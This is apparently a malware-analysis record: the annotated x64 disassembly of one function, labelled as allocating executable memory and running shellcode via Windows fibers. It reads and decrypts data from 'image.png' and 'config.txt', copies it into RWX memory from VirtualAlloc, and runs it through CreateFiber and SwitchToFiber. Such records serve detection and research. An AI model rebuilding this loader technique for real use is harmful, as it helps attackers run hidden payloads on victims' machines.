Function at 0x1400cba34
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows fibers

Disassembly:
jmp 0x1400f1e10
push rbp
push rsi
push rdi
sub rsp, 0x810
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x168
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402bf140]
xor rax, rbp
mov qword [rbp + 0x7d8], rax
lea rcx, [0x1402dc118]
call fcn.1400cd758
nop
lea rcx, [rbp + 8]
call fcn.1400cb796
nop
call fcn.1400cae5e
nop
lea rcx, [rbp + 0x28]
call fcn.1400cb796
nop
lea r8, [rbp + 8]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x618]
call fcn.1400c9022
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1400cc1eb
nop
lea rdx, str.image.png
lea rcx, [rbp + 0x68]
call fcn.1400ca78d
nop
lea rdx, str.config.txt
lea rcx, [rbp + 0xa8]
call fcn.1400ca78d
nop
mov edx, 0x20
lea rcx, [rbp + 0xe8]
call fcn.1400c84ba
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xe8]
call fcn.1400c813b
mov qword [rbp + 0x7c8], rax
mov edx, 0x110
lea rcx, [rbp + 0x130]
call fcn.1400cba84
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x130]
call fcn.1400cc27c
mov qword [rbp + 0x7c8], rax
lea rcx, [rbp + 0x130]
call fcn.1400c828a
movzx eax, al
test eax, eax
jne 0x1400f1fba
lea rdx, str.Failed_to_open_file:
lea rcx, [0x1402c1da0]
call fcn.1400c8997
mov qword [rbp + 0x7c8], rax
lea rdx, [rbp + 0xa8]
mov rcx, qword [rbp + 0x7c8]
call fcn.1400ccd03
mov qword [rbp + 0x7d0], rax
lea rdx, [0x1400c837f]
mov rcx, qword [rbp + 0x7d0]
call fcn.1400cac65
nop
mov dword [rbp + 0x634], 1
lea rcx, [rbp + 0x130]
call fcn.1400c8dac
nop
lea rcx, [rbp + 0xe8]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0xa8]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x68]
call fcn.1400c903b
mov eax, dword [rbp + 0x634]
jmp 0x1400f2496
lea rcx, [rbp + 0x678]
call fcn.1400cc06f
lea rcx, [rbp + 0x7b0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x6a8]
call fcn.1400cb48a
lea rcx, [rbp + 0x780]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x654]
call fcn.1400c93fb
mov r9, rax
lea r8, [rbp + 0x7b0]
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x258]
call fcn.1400cb2f5
mov qword [rbp + 0x7c8], rax
lea rcx, [rbp + 0x130]
call fcn.1400cb020
nop
mov edx, 0x20
lea rcx, [rbp + 0x298]
call fcn.1400c84ba
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x298]
call fcn.1400c9fa4
mov qword [rbp + 0x7c8], rax
mov edx, 0x20
lea rcx, [rbp + 0x2d8]
call fcn.1400c84ba
lea rcx, [rbp + 0xe8]
call fcn.1400cdf37
mov r8, rax
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x2d8]
call fcn.1400cd1ae
mov qword [rbp + 0x7c8], rax
lea rcx, [rbp + 0x2d8]
call fcn.1400ca553
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0
jne 0x1400f2190
lea rdx, str.VirtualAlloc_failed._Error:
lea rcx, [0x1402c1da0]
call fcn.1400c8997
mov qword [rbp + 0x7c8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rbp + 0x7c8]
call fcn.1400c9ff9
mov qword [rbp + 0x7d0], rax
lea rdx, [0x1400c837f]
mov rcx, qword [rbp + 0x7d0]
call fcn.1400cac65
nop
mov dword [rbp + 0x6d4], 1
lea rcx, [rbp + 0x2d8]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0x298]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0x258]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x130]
call fcn.1400c8dac
nop
lea rcx, [rbp + 0xe8]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0xa8]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x68]
call fcn.1400c903b
mov eax, dword [rbp + 0x6d4]
jmp 0x1400f2496
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x358], 0
jmp 0x1400f21bc
mov rax, qword [rbp + 0x358]
inc rax
mov qword [rbp + 0x358], rax
lea rcx, [rbp + 0x2d8]
call fcn.1400ca553
cmp qword [rbp + 0x358], rax
jae 0x1400f21ff
mov rdx, qword [rbp + 0x358]
lea rcx, [rbp + 0x2d8]
call fcn.1400cd695
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x338]
add rdx, rcx
mov rcx, rdx
movzx eax, byte [rax]
mov byte [rcx], al
jmp 0x1400f21ab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x378], 0
jne 0x1400f22e7
lea rdx, str.ConvertThreadToFiber_failed._Error:
lea rcx, [0x1402c1da0]
call fcn.1400c8997
mov qword [rbp + 0x7c8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rbp + 0x7c8]
call fcn.1400c9ff9
mov qword [rbp + 0x7d0], rax
lea rdx, [0x1400c837f]
mov rcx, qword [rbp + 0x7d0]
call fcn.1400cac65
nop
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [rbp + 0x6f4], 1
lea rcx, [rbp + 0x2d8]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0x298]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0x258]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x130]
call fcn.1400c8dac
nop
lea rcx, [rbp + 0xe8]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0xa8]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x68]
call fcn.1400c903b
mov eax, dword [rbp + 0x6f4]
jmp 0x1400f2496
mov r8, qword [rbp + 0x318]
lea rdx, [0x1400c822b]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov qword [rbp + 0x398], rax
cmp qword [rbp + 0x398], 0
jne 0x1400f23dd
lea rdx, str.CreateFiber_failed._Error:
lea rcx, [0x1402c1da0]
call fcn.1400c8997
mov qword [rbp + 0x7c8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rbp + 0x7c8]
call fcn.1400c9ff9
mov qword [rbp + 0x7d0], rax
lea rdx, [0x1400c837f]
mov rcx, qword [rbp + 0x7d0]
call fcn.1400cac65
nop
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [rbp + 0x714], 1
lea rcx, [rbp + 0x2d8]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0x298]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0x258]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x130]
call fcn.1400c8dac
nop
lea rcx, [rbp + 0xe8]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0xa8]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x68]
call fcn.1400c903b
mov eax, dword [rbp + 0x714]
jmp 0x1400f2496
mov rcx, qword [rbp + 0x398]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
nop
mov rcx, qword [rbp + 0x398]
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
nop
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0x2d8]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0x298]
call fcn.1400c9a72
nop
lea rcx, [rbp + 0x258]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x130]
call fcn.1400c8dac
nop
lea rcx, [rbp + 0xe8]
call fcn.1400c9a72
nop
jmp 0x1400f2470
mov dword [rbp + 0x754], 0
lea rcx, [rbp + 0xa8]
call fcn.1400c903b
nop
lea rcx, [rbp + 0x68]
call fcn.1400c903b
mov eax, dword [rbp + 0x754]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140270460]
call fcn.1400cc817
mov rax, rdi
mov rcx, qword [rbp + 0x7d8]
xor rcx, rbp
call fcn.1400caa08
lea rsp, [rbp + 0x7e0]
pop rdi
pop rsi
pop rbp
ret